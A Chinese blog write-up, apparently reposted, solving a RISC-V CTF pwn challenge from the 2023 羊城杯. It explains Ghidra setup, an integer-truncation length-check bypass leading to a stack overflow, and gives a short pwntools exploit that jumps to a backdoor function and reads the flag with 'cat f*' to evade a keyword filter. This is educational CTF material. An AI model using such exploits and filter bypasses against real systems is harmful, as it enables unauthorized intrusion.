码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【PWN · ret2text | RISC-V异构】[2023 羊城杯]login


    第一道异构PWN的题目,没做出来。。。。但是是因为工具没有 QAQ


    目录

    前言

    一、食用工具

    Ghidra

    安装使用

    二、解题思路

    三、exp

    总结


    前言

    我们context.arch经常是'i386'和'amd64',突然遇到RISC-V架构的题目,一是本地运行不了(环境没配),二是IDA无法反汇编。苦恼。


    一、食用工具

    于是找啊找。找到cutter——一款risc-v的反汇编反编译工具,然而太shi了,反编译的c代码看不了一点,全是错的。赛后问了学长,晓得了一般做异构pwn、reverse的工具:

    Ghidra

    Ghidra 是美国国家安全局(RSA)开源发布的软件逆向工程框架,涵盖了反汇编、反编译等工具。该工具2019年3月开源。与之对标的有windows平台下的IDA Pro和linux平台下的radare2等。

    资源直接吾爱破解:Ghidra 10.3 - 『逆向资源区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

    可以直接通过下载链接(来自上面吾爱破解那篇博客)

    ghidra_10.3_PUBLIC_20230510.zip官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘 

    安装使用

    1. jdk11+的环境

    2. 运行目录下bat文件

    3. 创建project后,导入要反汇编的文件即可

    二、解题思路

    这个过程就比较熟悉了,让我们来读读反汇编后的伪c代码

    第一个输入读8字节,第二个读288字节,似乎都没有栈溢出问题,进入FUN_12345786看看

    这里有将传入检查的字符串赋值给另一串。源字符串最长为288,目的字符串最长为248,也许可以溢出,然而中间检查了检查字符串(函数参数)的长度<8,这该怎么办呢?

    DAT_12347070 = (byte)sVar1 

    这里的sVar1是参数字符串的长度,被强制类型转换为byte,而byte是有符号型的,可以表示-128—127 的数。这一点可以和char类比,都是一个字节,但是是有符号的。

    如果我们让读入字符串的长度为  256  会发生什么?——发生截断,DAT_12347070 == 0

    如果我们让读入字符串的长度为256+8会发生什么?——发生截断,DAT_12347070 == 8

    我们惊喜的发现——这两种情况都绕过了”too long"检查。

    那让我们再精打细算一下——248字符数组长度+8’所谓的ebp‘长度+8retaddr长度==256+8 

    没错,这里的栈溢出点让我们找到了,并且我们可以控制一次跳转地址的自定义——程序中有一个后门函数——刚好跳到这里

    过滤了'sh'和'flag’,那我们就 cat f* 绕过即可

    三、exp

    1. from pwn import *
    2. from pwn import u64,u32,p64,p32
    3. io=remote(...)
    4. io.sendafter(b'name:\n',b'a'*8)
    5. payload=b'/bin/sh;'*(0x100//8)+p64(0x123456ee)
    6. io.sendafter(b'words\n',payload)
    7. io.sendline(b'cat f*')
    8. io.interactive()

    总结

    第一道异构PWN

    羊城杯对于大佬来说“还挺简单的”,但是对于我们萌新,要哭了(萌新了快一年了进度好慢)

    感谢亢学长的帮助!

  • 相关阅读:
    代理模式(初学)
    C++ 数字记忆小游戏
    基于Android的校园心理咨询系统的设计与实现
    【3D目标检测】PointPillars: Fast Encoders for Object Detection from Point Clouds
    轮播图(多个一起轮播)
    对于两个独立随机变量X,Y, E(XY)=E(X)E(Y)
    docker安装以及运行nacos、rabbitmq、MySQL容器小记
    xml与动态SQL
    《实现领域驱动设计》
    聚美优品API 根据ID取商品详情 Onebound跨境电商api接口
  • 原文地址:https://blog.csdn.net/Mr_Fmnwon/article/details/132650011
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号